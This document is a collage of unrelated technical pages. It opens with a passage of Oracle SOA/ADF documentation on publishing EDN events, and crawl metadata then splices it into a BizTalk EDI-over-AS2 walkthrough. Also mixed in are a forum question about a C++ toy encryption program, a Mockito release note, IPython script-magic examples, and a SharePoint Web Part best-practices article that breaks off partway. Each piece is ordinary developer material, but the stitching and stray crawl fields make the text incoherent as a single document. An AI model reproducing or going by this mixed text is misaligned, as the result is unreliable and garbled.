Use Oracle Enterprise Manager Fusion Middleware Control Console to view the SOA composite application to ensure it was properly deployed. For more information about using Oracle Enterprise Manager Fusion Middleware Control Console, see the chapter "Deploying SOA Composite Applications" in the Oracle Fusion Middleware Developer's Guide for Oracle SOA Suite.
Following are alternative approaches to the use case pattern:
Section 33.5.1, "Using the Java Event API to Publish Events"
Section 33.5.2, "Using a JAX-WS Proxy to Invoke a Synchronous BPEL Process"
You can programmatically raise events following an ADF Business Components CUD operation using the
publishEvent API.
Before you begin:
In Oracle WebLogic Server Console, set up EDN data sources as described in Section 33.4, "How to Initiate a BPEL Process Service Component from an Oracle ADF Web Application."
Add a library reference to
oracle.soa.workflow.wc.
To publish events using the Java event API:
Import the required libraries into your application as shown in Example 33-4.
Example 33-4 Importing Files into Your Application; import oracle.jbo.server.TransactionEvent; import oracle.jbo.server.JTATransactionHandler;
Publish events as required. An example is shown in Example 33-5.
Example 33-5 Publishing Events Using the Java Event API
private final String eventName = "CreateExpenseReport"; private final String eventNamespace = "/oracle/apps/ta/model/events/edl/ExpenseReportEO"; private final String schemaNamespace = "/oracle/apps/ta/model/events/schema/ExpenseReportEO"; private BusinessEventConnectionFactory cf = null; private BusinessEventConnection conn = null; public void eventSetup() { // Get event connection. Set to true for debugging only. BusinessEventConnectionFactory cf = BusinessEventConnectionFactorySupport.findRelevantBusinessEventConnectionFactory(false); BusinessEventConnection conn = cf.createBusinessEventConnection(); } private XMLDocument getXMLPayload() { Element masterElem, childElem1, childElem2; XMLDocument document = new XMLDocument(); masterElem = document.createElementNS(schemaNamespace, "CreateExpenseReportInfo"); document.appendChild(masterElem); childElem1 = document.createElementNS(schemaNamespace, "Id"); masterElem.appendChild(childElem1); childElem2 = document.createElementNS(schemaNamespace, "newValue"); childElem2.setAttribute("value", ((BigDecimal) this.getAttribute("Id")).toString()); childElem1.appendChild(childElem2); return document; } public void beforeCommit(BusinessEventConnection conn , TransactionEvent e) { // Determine whether this is a JTA transaction. if (this.getDBTransaction() != null && this.getDBTransaction().getTransactionHandler() instanceof JTATransactionHandler) { // Determine whether the row is newly created. if (this.getEntityState() == STATUS_NEW) { try { // Build the event. BusinessEventBuilder builder = BusinessEventBuilder.newInstance(); // Specify the event name and namespace. In this example, // they are constants: eventNamespace and eventName. builder.setEventName(new QName(eventNamespace, eventName)); // Specify the event payload. In this example, the custom // method getXMLPayload constructs the payload. builder.setBody(getXMLPayload().getDocumentElement()); BusinessEvent event = builder.createEvent(); // Publish the event. conn.publishEvent(event, 5); conn.close(); // For debugging and testing purposes, print the result. System.out.println("Event was sent sucessfully"); } catch (Exception exp) { System.out.println("Failed sending event: " + exp.getMessage()); exp.printStackTrace(); } } } super.beforeCommit(e); }
Another way to invoke a SOA composite as a web service from an Oracle ADF web application is to use a JAX-WS proxy.
Use this pattern only for synchronously invoking BPEL processes where the calling application waits for a response. As such, any BPEL processes called using this pattern must be synchronous and brief so as to avoid any time out issues.
Caution:
Do not use this pattern for a long running or asynchronous BPEL process.
Make sure that synchronous services return immediately. Synchronous services should be simple input/output payloads.
Do not use multi-record or N record services in which processing time varies from seconds to minutes or longer.
For more information about this approach, see the chapter "Integrating Web Services Into an Oracle Fusion Web Application" in Oracle Fusion Middleware Fusion Developer's Guide for Oracle Application Development Framework (Oracle Fusion Applications Edition).
In this pattern, SOA composite services are exposed as web services. You generate a JAX-WS proxy client to invoke the SOA composite exposed as a web service from your ADF Business Components application module.
You use the web services wizard to generate a web service proxy, and then call the web service using method calls.
An indirection for the web service proxy node enables retrieving the location of the web service WSDL, username and password from
connections.xml. To use the indirection, access the proxy via
oracle.adf.model.connections.webservice.WebServiceConnection.
An example is shown in Example 33-6.
Example 33-6 Using WebServiceConnection
WebServiceConnection wsc = (WebServiceConnection)ADFContext.getCurrent().getConnectionsContext().lookup(connectionName); Hello hello = wsc.getJaxWSPort(Hello.class);
Use the username or SAML token policies for identity propagation and security. For more information, see Chapter 51, "Securing Web Services Use Cases."
To secure this pattern, it is recommended that you secure the Oracle ADF web application. For more information about securing the pattern, see Chapter 51, "Securing Web Services Use Cases."
To make the mediator run as an event publisher:
Open the composite.xml file for the SOA composite application and manually add the
runAsRoles="$publisher"' attribute to the composite subscriptions. Example 33-7 shows the composite subscription for the sample application.
Example 33-7 runAsRoles Attribute in a Composite Subscription
<component name="BugReportMediator"> <implementation.mediator <business-events> <subscribe xmlns: </business-events> </component>
Note:
Currently, the only option for
runAsRoles is
$publisher.
To validate the subject propagation in the SOA composite application, add the following code as shown in Example 33-8 to the BPEL file for the BPEL process flow:
Example 33-8 Using bplex:exec to Print Out Subject Information
<bpelx:exec <![CDATA[ javax.security.auth.Subject subject = javax.security.auth.Subject.getSubject ( java.security.AccessController.getContext()); System.out.println("\n\n\n\n\n\n\n"); System.out.println ("######*****-----> subject: " + subject.toString()); System.out.println("\n\n\n\n\n\n\n"); ]]> </bpelx:exec>
Events enable event-driven applications and are not related to OWSM. Therefore, OWSM policies do not apply to events.
Events raised by Oracle ADF web applications automatically propagate the event's publisher ID in the event header. No action is required to perform identity propagation. The publisher's ID corresponds to the end-user authenticated in the application.
You can verify the deployment by testing the Oracle ADF web application. Alternatively, you can send EDN events at the command line to verify event-raising functionality.
To properly verify this design pattern, you should test the Oracle ADF web application and enable logging, use Oracle Enterprise Manager Fusion Middleware Control Console to verify the process instance creation, and check the SOA logs.
To verify this design pattern:
Test your Oracle ADF web application using various testing and debugging methods described in the chapter "Testing and Debugging ADF Components" in the Oracle Fusion Middleware Fusion Developer's Guide for Oracle Application Development Framework (Oracle Fusion Applications Edition). Be sure to enable ADF Business Components runtime logging by setting the Java VM parameter in the run/debug profile to
jbo.debugoutput=console. Doing so logs the event and its payload in the JDeveloper log console.
Run the Oracle ADF web application and invoke the method that raises the event.
View the ADF Business Components runtime log in the JDeveloper log console to view the event and payload.
Use Fusion Middleware Control Console for tracking composite instances and for a variety of debugging, monitoring and testing functions.
Launch Fusion Middleware Control Console using the following URL:
http://<hostname>:<port number>/em
Open Fusion Middleware Control Console to verify the process instance has been created. Use the Audit tab to verify that the payload is correct.
You can test EDN functionality using
SendEvent and
edn.debug.event-connection at the command line.
SendEvent is a command line utility for sending an event to a database-based Oracle Event Delivery Network instance.
SendEvent can send an empty event (of a given queue name) or an entire event from a file. Running the command displays a list of command line options.
Some examples are shown in Example 33-9 and Example 33-10.
In Example 33-9, an empty event with namespace
uuid:1111 and local name
MyEvent is sent to the event bus.
Example 33-9 Sending an Empty Event
oracle.integration.platform.blocks.event.SendEvent -dbconn host.companyname.com:1521:SID -dbuser user -dbpass password -eventName {uuid:1111}MyEvent
In Example 33-10, the event contained in the file
AnEvent.xml is sent to EDN.
You can use
BusinessEventConnectionFactorySupport in your Oracle ADF web application to test your event publishing code. Rather than sending an event to a queue, you can configure your Oracle ADF web application to print the event information to the log using
BusinessEventConnectionFactorySupport.
To do so, set the system property
edn.debug.event-connection to
true when running your application. When the application sends an event, the information for that event is logged, including the event body in its entirety. This enables you to see the events that will be sent to EDN when the application runs on a SOA server.
The log name is
oracle.integration.platform.blocks.event.debug, but in most configurations the information prints to
stdout by default.
To set the system property:
When Oracle WebLogic Server starts up, add the system property shown in Example 33-11 to the
JAVA_OPTIONS environment variable.
To access the EDN database log:
You can use the EDN database log shown in Example 33-12 for diagnostic purposes.
Following are tips that may help resolve common issues that arise when developing or running this use case.
If deployment of the SOA composite application fails, then verify the following:
The
location element in the EDL file located in the directory is relative to the directory that contains the EDL file.
If you get an invalid XPath expression exception, use a static value instead of a value from the payload.
Before you implement these design patterns, you should be aware of the following:
If you change the event name or event payload, the mediator will not respond to the raising of the event. If you need to make changes, you should create a new event. During development, you need to change the mediator (if the name of the event changes) and/or the BPEL process being invoked (if the payload changes).
Following are known issues:
You must add a library reference to
oracle.soa.workflow.wc in order to raise events successfully.
You can only specify
$publisher as the
runAsRole for an event subscription.
|
http://docs.oracle.com/cd/E28271_01/fusionapps.1111/e15524/uc_bpel_bc.htm
|
CC-MAIN-2014-35
|
en
|
refinedweb
|
There expensive part of whole execution plan.
Rule # 2 : Table scan or clustered index scan needs to be optimized to table seek (if your table is small it does not matter and table scan gives you better result). Table scan happens when index are ignored while retrieving the data or index does not exist at all.
Rule # 3 : Bookmark lookup are not good as it means correct index is not being used or index is not sufficient for all the necessary data to retrieve. The solution of bookmark lookup is to create covering index. Covering index will cover all the necessary columns which needs to improve performance of the query. It may be possible that covering index is slower. Try and Error is good method to find the right match for your need.
Rule # 4 : Experiment with Index hints. In most cases database engines picks up the best index for the query. While determining which index is best for the query, database engine has to make certain assumption for few of the database parameters (like IO cost etc). It may be possible database engine is recommending incorrect index for query to execute. I usually try with few of my own indexes and test if database engine is picking up most efficient index for queries to run. I use Index Hint for this purpose.
Rule # 5 : Avoid functions on columns. If you use any functions on column which is retrieved or used in join or used in where condition, it does not take benefit of index. If I have situation like this, I usually create separate column and populate it ahead of time using simple update query with the value which my function will return. I put index on this new column and this way performance is increased. Creating indexed view is good option too.
Rule # 6 : Do not rely on execution plan only. I understand that this contradicts the Rule # 1, however execution plan is not the only benchmark for indexes. There may be cases that something looks less expensive on execution plan but in real world it takes more time to get data. Test your indexes on different benchmarks.
Rule # 7 : ___________________________________________
Let me know what should be the Rule # 7.
Reference : Pinal Dave ()
#7 — Better to have a THIN Index over FAT Index. If Index is on BIG Varchar column see if those can be substituted to INT column
My Rule # 7 would be: Ensure there aren’t missing or outdated statistics
—
Luciano Evaristo Guerche (Gorše)
Taboão da Serra, SP, Brazil
Rule # 7 : Avoid SP names that begin with sp_
Rule # 8 : Use SET NOCOUNT ON, where ever possible
A lot depends on the usage of the DB – if low data updates and high volume of queries, create a covering index for the most highly used queries since data can be obtainied directly from the index and no lookup to the data table needs to be done.
If possible, store indexes on a separate drive than from the data files.
Well Query Optimizations rules are not limited.
It depends on business needs as well,
For example we always suggest to have a relationship between tables but if they are heavily used for Update insert delete, I personally don’t recommended coz it will effect performance as I mentioned it all depends on Business needs;
Here are few more tips I hope will help you to understand.
One: only “tune” SQL after code is confirmed as working correctly.
(use top (sqlServer) and LIMIT to limit the number of results where appropriate,
SELECT top 10 jim,sue,avril FROM dbo.names )
Two: ensure repeated SQL statements are written absolutely identically to facilate efficient reuse: re-parsing can often be avoided for each subsequent use.
Three: code the query as simply as possible i.e. no unnecessary columns are selected, no unnecessary GROUP BY or ORDER BY.
Four: it is the same or faster to SELECT by actual column name(s). The larger the table the more likely the savings.
Five: do not perform operations on DB objects referenced in the WHERE clause:
Six: avoid a HAVING clause in SELECT statements – it only filters selected rows after all the rows have been returned. Use HAVING only when summary operations applied to columns will be restricted by the clause. A WHERE clause may be more efficient.
Seven: when writing a sub-query (a SELECT statement within the WHERE or HAVING clause of another SQL statement):
— use a correlated (refers to at least one value from the outer query) sub-query when the return is relatively small and/or other criteria are efficient i.e. if the tables within the sub-query have efficient indexes.
— use a noncorrelated (does not refer to the outer query) sub-query when dealing with large tables from which you expect a large return (many rows) and/or if the tables within the sub-query do not have efficient indexes.
— ensure that multiple sub-queries are in the most efficient order.
— remember that rewriting a sub-query as a join can sometimes increase efficiency.
Eight: minimize the number of table lookups especially if there are sub-query SELECTs or multicolumn UPDATEs.
Nine: when doing multiple table joins consider the benefits/costs for each of EXISTS, IN, and table joins. Depending on your data one or another may be faster.
‘IN is usually the slowest’.
Note: when most of the filter criteria are in the sub-query IN may be more efficient; when most of the filter criteria are in the parent-query EXISTS may be more efficient.
Ten: where possible use EXISTS rather than DISTINCT.
Praveen Barath
Pingback: SQL SERVER - Optimization Rules of Thumb - Best Practices - Reader’s Article Journey to SQL Authority with Pinal Dave
Remember that many performance problems cannot be reproduced in your development environment, and examining the issue in the production environment is essential. When users report a performance problem, use SQL Server Profiler to insure you are attempting to optimize the correct procedure, and determne exactly how much time and resources it is comsuming. This can later be used a benchmark to measure how much improvement (if any) your attempts at performance optimization have made.
Also, if users report that a database operation, which normally runs within an acceptable amount of time, will sporatically run for significantly longer, use sp_who2 or server traces to determine if process blocking is at the root of the problem and then what conditions (available memory, another process that competes for the same resources, etc.) contribute to the blocking.
Rule #7 use set statistics io,time on in order to get scan count, logical reads etc
Pingback: SQL SERVER – Weekly Series – Memory Lane – #026 | SQL Server Journey with SQL Authority
|
http://blog.sqlauthority.com/2008/04/25/sql-server-optimization-rules-of-thumb-best-practices/
|
CC-MAIN-2014-35
|
en
|
refinedweb
|
Hi all. I just recently found an old encryption program I gave up on back in highschool on an old jump drive. I was wanting to teach myself about typecasting, file I/O, and a little encryption all in the same project. I actually wrote two programs. The first takes in a phrase one letter at a time and converts them to numbers through typecasting. Next, It adds whatever number is in the file "numerical.txt" and writes the resulting number to a file called "example.txt". Whenever it comes time to undo what has been done, the second program simply reverses the process by reading from the two files and subtracting. Problem is, instead of perfectly legible letters, I simply get the symbol for null (I believe that's what it is). When I open up example.txt, the numbers are huge. (In the hundreds of thousands, instead of the standard ascii), so I'm assuming the problem is in the encryption algorithm. I'd love to finally be able to get this program to work. Anyway, here's the code:
Encryptor:Decryptor:Decryptor:Code:#include <fstream> #include <iostream> #include <cstdlib> #include <stdio.h> #include <windows.h> #include <process.h> using namespace std; int main() { cout<<"Personal encryptor, v 0.2\n"; cout<<"Andrew Hodge. June 10, 2011. \n \n \n" << endl; int str; int alexandria; char input; int oxnhill; int laurel; oxnhill = 1; washington: ifstream c_file("numerical.txt"); c_file>>laurel; c_file.close(); while (oxnhill< 0){ ofstream a_file ("example.txt", ios::app); a_file<< "Unit line______Score_________\n"; a_file.close(); //oxnhill++; goto washington; } cin>>input; if (input==99){ goto arnold_sw; } else{ alexandria=(int)input ; ofstream a_file ( "example.txt", ios::app ); a_file<<alexandria + laurel; a_file<<"\n" a_file.close(); goto washington; } arnold_sw: return 0; }
Code:#include <fstream> #include <iostream> #include <cstdlib> #include <stdio.h> #include <windows.h> #include <process.h> using namespace std; int main(){ int alexandria; int laurel; int baltimore; int patomic; ifstream a_file ("numerical.txt"); a_file>>laurel; a_file.close(); ifstream b_file ("example.txt"); b_file>>alexandria; b_file.close(); baltimore= alexandria-laurel ; patomic= baltimore; cout<< (char) patomic ; }
|
http://cboard.cprogramming.com/cplusplus-programming/138904-unknown-problem-first-encryption-algorythm.html
|
CC-MAIN-2014-35
|
en
|
refinedweb
|
Hi,
> > I just found a bug in the floppy driver. Andy disabled the support for
> > the second floppy driver. Unfortunately there is a bug that then
> > results in random writes into the memory.
>
> Hmmm. Is this a bug in the standard driver, or is this my fault?
It is a bug in the standard driver that was activated by your changes.
Just look into drivers/block/floppy.c, into function set_fdc(). This
functions calls set_dor() twice. Once for controller fdc and once
for controller 1-fdc. The later call results in erroneous memory
accesses when N_FDC (in <asm/floppy.h>) has been defined to 1, not two.
Just put #if N_FDC > 1 ... #endif around the second call and everything
is ok.
Finding this bug was a bit of luck - I wondered about certain "unplaned"
memory accesses when debugging something else. The consequences however
are fatal - every process that is just running when set_fdc is being
called gets "tuned" ...
Ralf
|
http://www.linux-mips.org/archives/linux-mips-fnet/1995-11/msg00202.html
|
CC-MAIN-2014-35
|
en
|
refinedweb
|
IPython has a
%%script cell magic, which lets you run a cell in
a subprocess of any interpreter on your system, such as: bash, ruby, perl, zsh, R, etc.
It can even be a script of your own, which expects input on stdin.
import sys.1 (r271:86832, Jul 31 2011, 19:30:53) [GCC 4.2.1 (Based on Apple Inc. build 5658) (LLVM build 2335.15.00)]
%%script python3 import sys print('hello from Python: %s' % sys.version)
hello from Python: 3.2.3 (v3.2.3:3d0686d90f55, Apr 10 2012, 11:25:50) [GCC 4.2.1 (Apple Inc. build 5666) (dot 3)]
IPython also creates aliases for a few common interpreters, such as bash, ruby, perl, etc.
These are all equivalent to
%%script <name>
%%ruby puts "Hello from Ruby #{RUBY_VERSION}"
Hello from Ruby 1.8.7
%%bash echo "hello from $BASH"
hello from /usr/local/bin/bash10a4be660>
print(ruby_lines.read())
line 1 line 2 line 3 line 4 line 5 line 6 line 7 line 8 line 9
You can pass arguments the subcommand as well, such as this example instructing Python to use integer division from Python 3:
%%script python -Qnew print 1/3
0.333333333333
You can really specify any program for
%%script,
for instance here is a 'program' that echos the lines of stdin, with delays between each line.
%%script --bg --out bashout bash -c "while read line; do echo $line; sleep 1; done" line 1 line 2 line 3 line 4 line 5
Starting job # 2 in a separate thread.
Remember, since the output of a background script is just the stdout pipe, you can read it as lines become available:
import time tic = time.time() line = True while True: line = bashout.readline() if not line: break sys.stdout.write("%.1fs: %s" %(time.time()-tic, line)) sys.stdout.flush()
0.0s: line 1 1.0s: line 2 2.0s: line 3 3.0s: line 4 4.0s: line 5
The list of aliased script magics is configurable.
The default is to pick from a few common interpreters, and use them if found, but you can specify your own in ipython_config.py:
c.ScriptMagics.scripts = ['R', 'pypy', 'myprogram']
And if any of these programs do not apear on your default PATH, then you would also need to specify their location with:
c.ScriptMagics.script_paths = {'myprogram': '/opt/path/to/myprogram'}
|
http://nbviewer.ipython.org/github/ipython/ipython/blob/master/examples/IPython%20Kernel/Script%20Magics.ipynb
|
CC-MAIN-2014-35
|
en
|
refinedweb
|
Mockito 1.8 - New Useful Features
Mockito expands its impressive feature set with release 1.8.I was once a happy EasyMock user. If asked, I think I would have even questioned the need for a new mocking framework – EasyMock did it all, didn’t it?
But
B.
import static org.mockito.BDDMockito.*;
Seller seller = mock(Seller.class);
Shop shop = new Shop(seller);
public void shouldBuyBread() throws Exception {
//given
given(seller.askForBread()).willReturn(new Bread());
//when
Goods goods = shop.buyBread();
//then
assertThat(goods, containBread());
}.
(Note: Opinions expressed in this article and its replies are the opinions of their respective authors and not those of DZone, Inc.)
David Lim replied on Tue, 2009/11/03 - 8:26pm
|
http://java.dzone.com/articles/mockito-18-new-useful-features
|
CC-MAIN-2014-35
|
en
|
refinedweb
|
Walkthrough: Receiving EDI over AS2 with a Synchronous MDN
This walkthrough provides a set of step-by-step procedures that creates a solution for receiving EDI messages over AS2 transport, returning synchronous MDNs.
How the Solution Receives an EDI/AS2 Message and Returns a Synchronous MDN
The solution will do the following:
- Receive an AS2 message containing an EDI interchange over HTTP from the trading partner Fabrikam, and decode the interchange from EDIINT/AS2.
- Return a synchronous MDN to the trading partner.
- Convert the EDI format of the interchange to internal XML format, and drop it in the MessageBox.
- A FILE send port with a PassThruTransmit pipeline picks up the message XML file.
- The send port sends the EDI interchange XML file to a folder at the Contoso party.
The following figure shows the architecture for this solution.
The Functionality in this Solution
The following applies to the functionality of this walkthrough:
- An EDI acknowledgment is not generated. Generating an EDI acknowledgment is demonstrated in Walkthrough: Receiving EDI Interchanges. Sending an EDI acknowledgment over AS2 transport is described in Walkthrough: Sending EDI over AS2 with a Synchronous MDN.
- The solution is designed for interchanges using X12 encoding, not EDIFACT encoding.
- EDI type and extended validation will be performed on the incoming interchange.
- AS2 and EDI reporting will be enabled, and transaction sets will be saved for viewing from the interchange status report.
- This solution does not configure signing, compression, encryption, or message storage in the non-repudiation database. For procedures on configuring those properties, see Configuring AS2 Party Properties.
Configuration Steps
The procedures required for this solution include the following:
- Create a party for the trading partner Fabrikam that the AS2 message is received from. Configure the AS2 properties for that party to send an AS2 message, and receive a synchronous MDN in return. Configure the EDI properties for BizTalk to receive an EDI interchange from that party.
- Build and deploy a BizTalk project with the required message schema, making the schema available for use by BizTalk Server in processing the received interchange.
- Enable the BTS ISAPI filter used in receiving the AS2 message.
- Create a Contoso virtual directory that receives the AS2 message from Fabrikam, as configured in the receive location.
- Specify that the Contoso virtual directory is not managed by Windows SharePoint Services.
- Create a static two-way HTTP receive port for BizTalk Server to receive the AS2 message containing the EDI interchange from the trading partner, and send the MDN response. Configure the receive pipeline to be the AS2EDIReceive pipeline and the send pipeline to be the AS2Send pipeline.
- Create a static one-way FILE send port to route the EDI payload (in XML format) to a local folder. Create the local folder.
Testing the Walkthrough
You can test the solution by using the HTTP Sender utilities that is shipped as part of the AS2 tutorial files. This utility sends a test AS2 message containing an EDI interchange over AS2 transport (X12_00401_864-Sync.edi, also shipped with the AS2 tutorial). You must modify both the HTTP Sender and the test message from the versions that are in the tutorial. These changes are described in the To test the solution procedure below.
Right-click the Parties node in the BizTalk Server 2006 Administration Console, point to New, and then click Party to create a party that BizTalk will receive the interchange from.
Enter Fabrikam for the party in the Name text box.
In the first open line of the Aliases list, type EDIINT-AS2 From Value for Name, enter AS2-From for Qualifier, and enter Fabrikam for Value. Click OK.
Right-click Fabrikam in the Parties pane of the BizTalk Server 2006 Administration Console, and then select AS2 Properties.
In the General pane, click Activate AS2 Reporting.
Right-click Fabrikam in the Parties pane of the BizTalk Server 2006 Administration Console, and then select EDI Properties.
In the console tree of the EDI Properties dialog box, select X12 Interchange Processing Properties (for Party as Interchange Sender).
Enter values for the qualifier and identifier fields for sender and receiver. For ISA5 enter ZZ; for ISA6 enter 7654321; for ISA7 enter ZZ; and for ISA8 enter 1234567.
Clear Check for duplicate ISA13 (Interchange control number), so you can send multiple test input messages.
In the Default Target namespace field, verify that the value selected is.
Click OK to accept the configuration settings and close the dialog box.
In Visual Studio 2005, open the project <drive>:\Program Files\Microsoft BizTalk Server 2006\SDK\AS2 Tutorial\Schemas\Schemas.btproj.
Right-click the Schemas project, and then click Properties. Click Assembly in the console tree. In the Strong name section, browse to <drive>:\Program Files\Microsoft BizTalk Server 2006\SDK\AS2 Tutorial\Schemas, and select Schemas.snk. Click Open, and then click OK.
Build and deploy Schemas.btproj.
Click Start, point to Programs, point to Administrative Tools, and then click Internet Information Services (IIS) Manager.
In the IIS Manager dialog box, right-click Web Service Extensions, and then click Add a new Web service extension.
In the New Web Service Extension dialog box, enter BTS Http Receive ISAPI Filter in Extension Name.
Click Add.
In the Add file dialog box, browse to <drive>:\Program Files\Microsoft BizTalk Server 2006\HttpReceive. Select BTSHTTPReceive.dll, and then click Open.
In the Add file dialog box, click OK.
In the New Web Service Extension dialog box, click OK.
In the Web Service Extension pane of IIS Manager, right-click BTS Http Receive ISAPI Filter, and then click Allow.
In IIS Manager, click Web Sites. Right-click Default Web Site, point to New, and then click Virtual Directory.
In the Welcome to the Virtual Directory Creation Wizard page, click Next.
On the Virtual Directory Alias page, enter Contoso as the Alias, and then click Next.
On the Web Site Content Directory page, browse to <drive>:\Program Files\Microsoft BizTalk Server 2006\HttpReceive for the Path. Click Next.
On the Virtual Directory Access Permissions page, select Execute (such as ISAPI applications or CGI). Leave Read selected. Click Next.
On the page indicating successful completion, click Finish.
In IIS Manager, right-click the Contoso virtual directory, click Properties, and note the Application pool associated with the virtual directory. Close the Contoso Properties dialog box.
Under the Application Pools node in IIS Manager, right-click the application pool noted in step 7 under the Application Pools node of IIS Manager, and then click Properties. In the Properties dialog box, click the Identity tab. Verify that the user name listed under Configurable is an administrator on the server, then click Cancel.
Right-click the Contoso virtual directory, and then click Properties. In the Contoso Properties dialog box, click the Directory Security tab. In the Authentication and access control section, click Edit. In the Authentication Methods dialog box, select Enable anonymous access, click OK, and then click OK again.
If Windows SharePoint Services is installed on your computer, click Start, point to Programs, point to Administrative Tools, and then click SharePoint Central Administration.
On the Central Administration page, under Virtual Server Configuration, click Configure virtual server settings.
On the Virtual Server List page, click Default Web Site.
On the Virtual Server Settings page, under Virtual Server Management, click Define Managed Paths.
In the Define Managed Paths page, under Add a New Path, in the Path text box, enter Contoso. Under Type, click Excluded Path, and then click OK.
In BizTalk Server 2006 Administration Console, right-click the Receive Ports node under the BizTalk Application 1 node, point to New, and then click Request-Response Receive Port.
Name the receive port, and then click Receive Locations in the console tree.
Click New.
Name the receive location, select HTTP for Type, and then click Configure.
Enter /Contoso/BTSHTTPReceive.dll for Virtual directory plus ISAPI extension.
For Receive pipeline, select AS2EDIReceive.
For Send pipeline, select AS2Send.
Click OK, and then click OK again.
In the Receive Locations pane of the BizTalk Administration Console, right-click the receive location, and then click Enable.
In Windows Explorer, create a Contoso local folder named \EDI_to_Contoso to send the EDI payload to.
In BizTalk Server 2006 Administration Console, right-click Send Ports, point to New, and then click Static One-Way Send Port.
In the Send Port Properties dialog box, name your send port, for example, Send_Payload. Select FILE for Type, and then click Configure.
In the FILE Transport Properties dialog box, for Destination folder, browse to and select the \EDI_to_Contoso folder that you created in step 1. Leave File name as %MessageID%.xml. Click OK.
Accept the default of PassThruTransmit for Send Pipeline.
Click Filters in the console tree. For Property, enter BTS.MessageType. For Operator, enter ==. For Value, enter the message type for your message,.
Click OK.
In the Send Ports pane of the BizTalk Administration Console, right-click the send port, and then click Start.
In Visual Studio 2005, open the Sender.csproj project in the <drive>:\Program Files\Microsoft BizTalk Server 2006\SDK\AS2 Tutorial\Sender folder.
In HttpSender.cs, comment out the following line (immediately below the //Request Asynchronous MDN comment line):
Uncomment out the following line (immediately below the //Request Synchronous MDN comment line):
Build this project.
In Windows Explorer, move to <drive>:\Program Files\Microsoft BizTalk Server 2006\SDK\AS2 Tutorial. Open X12_00401_864-Sync.edi in Notepad. Delete the line defining the Disposition-Notification-Options header, and then save the file.
Open a command window. Move to <drive>:\Program Files\Microsoft BizTalk Server 2006\SDK\AS2 Tutorial\Sender\bin\debug. Run Sender.exe.
Verify that an MDN is displayed in the command window. Verify that in the MDN AS2-From is Contoso and AS2-To is Fabrikam.
Open the Contoso local folder that you create to send the EDI payload to (\EDI_to_Contoso). Verify that there is a <URL>.XML file in the folder. Open the XML file and verify that it contains an 864 transaction set.
Open the test message X12_00401_864-Sync.edi in Notepad, and verify that the transaction set in the output message in the \EDI_to_Contoso local folder corresponds to the transaction set in the X12_00401_864-Sync.edi input message.
|
http://msdn.microsoft.com/en-us/library/bb743306(BTS.20).aspx
|
CC-MAIN-2014-35
|
en
|
refinedweb
|
Best Practices for Developing Web Parts for SharePoint Products and Technologies
Susan Harney
Microsoft Corporation
June 2004
Applies to:
Microsoft Windows SharePoint Services
Microsoft Office SharePoint Portal Server 2003
Summary: Using the programming model behind Windows SharePoint Services, you can create your own Web Parts that provide new functionality to enhance your Web Part Pages. Learn best practices to improve performance and usability of Web Parts, and ways to create Web Parts that integrate well with other components of a Web Part Page. (15 printed pages)
Contents Description Attributes
Conclusion
Introduction
This article offers guidelines that are recommended best practices for Web Part developers. You can use them to improve the performance and usability of the Web Parts you design, and to assist you to create Web Parts that integrate well with other components of a Web Part Page.
Note These guidelines are common to all Web Parts. They are not designed to test Web Part-specific functionality.
Handle All Exceptions to Prevent Web Part Page Failures
Your Web Part should handle all exceptions rather than risk the possibility of causing the Web Part Page to stop responding.
You can help make this possible by placing the sections of code that might throw exceptions in a try block and placing code to handle these exceptions in a catch block. Following is an example.
private void SetSaveProperties() { if (this.Permission != Microsoft.SharePoint.WebPartPages.Permissions.None) { try { SaveProperties = true; } Catch (Exception ex) { // Setting SaveProperties can throw many exceptions. // Two examples are: // 1) SecurityException if the user doesn't have the "ObjectModel" // SharePointPermission or the "UnsafeSaveOnGet" // SharePointPermission // 2) WebPartPageUserException if the user doesn't have sufficient // rights to save properties (for example, the user is a Reader) errorText = ex.Message; } } }
For more information, see Using the Try/Catch Block to Handle Exceptions in the .NET Framework Developer's Guide in the MSDN Library.
Check Permissions Before Rendering Your Web Part and Customize the User Interface Accordingly
Because Web Parts are managed by the user at run time, you should render your Web Part with a user interface that is appropriate for each user's permissions. To do this, always check the Permissions property before rendering the Web Part—if the value is None, you should suppress the portions of your Web Part user interface that require certain permissions. For example, if a Web Part displays a Save button, you can disable or hide it if the user does not have permissions to save changes.
If a user is unable to use your Web Part as you designed it, several things could be happening:
- The user is a Reader.
- The Web Part is not in a Web Part zone. Although your Web Part may be designed to be dynamic, if a user adds it to a blank page in Microsoft Office FrontPage 2003, for example, it becomes a static Web Part. Static Web Parts cannot save changes in either shared or personal view.
- The user is anonymous.
For more information, see the Permissions property in the Microsoft SharePoint Products and Technologies 2003 Software Development Kit (SDK).
Validate Properties Whenever You Attempt to Save Changes to the Database
You can edit property values in a number of places outside of your Web Part's UI, for example:
- In the Web Part description (.dwp) file.
- In the tool pane.
- In an HTML editor compatible with Windows SharePoint Services, such as FrontPage 2003
- Using the Web Part Pages Services Component (WPSC) to set properties from the client browser.
Because of the variability of places in which you can edit property values, whenever you attempt to save changes to the database you should not make assumptions about the state of your properties. For example, you cannot assume that properties are unchanged because you suppressed them in the UI, or that properties are valid because you validated them when they were entered in the user interface.
To make sure that you account for all the different places that properties can be set, we recommend that you place your validation code in the property's Set accessor method.
Specify Custom Error Messages When Appropriate
By default, when an exception occurs, the Web Part infrastructure redirects the user to an error page and renders a generic error message. To specify your own error message to the end user, use the WebPartPageUserException class, as shown in the following example.
For more information, see WebPartPageUserException class in the Microsoft SharePoint Products and Technologies 2003 SDK.
Validate All User Input
Like any Web control or application, you should thoroughly validate all user input before performing operations with that input. This validation can help to protect against not only accidental misuse, but also deliberate attacks such as SQL injection, cross-site scripting, buffer overflow, and so on.
For more information about creating secure Web Parts, see the Microsoft Security Developer Center.
Register the Client-side Script Shared by Multiple Web Parts to Improve Performance
There are two ways to render client-side script for a Web Part page.
- Place the script in an external file and register the script for the page.
- Send code to the client for each request.
If you have multiple Web Parts that share client-side script, you can improve performance and simplify maintenance by placing the script in an external file and registering the script for the page. In this way, the code is cached on the client computer on first use and does not need to be resent to the client for each request.
To register client-side script shared by multiple Web Parts
- Place the script in a separate file.
- Create the appropriate folder on the server to save the file.If the assembly is deployed in the global assembly cache, save the script file in the _wpresources virtual directory If the assembly is located in the bin, save the script file in the
wpresourcesvirtual directory
- In your Web Part code, register the script using the page's RegisterClientScriptBlock method.
For detailed instructions, see Creating a Web Part with Client-side Script in the Microsoft SharePoint Products and Technology 2003 SDK.
Specify Whether Web Part Properties Can be Exported
When you export a Web Part, you create a Web Part description (.dwp) file automatically. The .dwp file is an XML document that represents the Web Part and its property values. Users can import this file to add the Web Part with all the properties set.
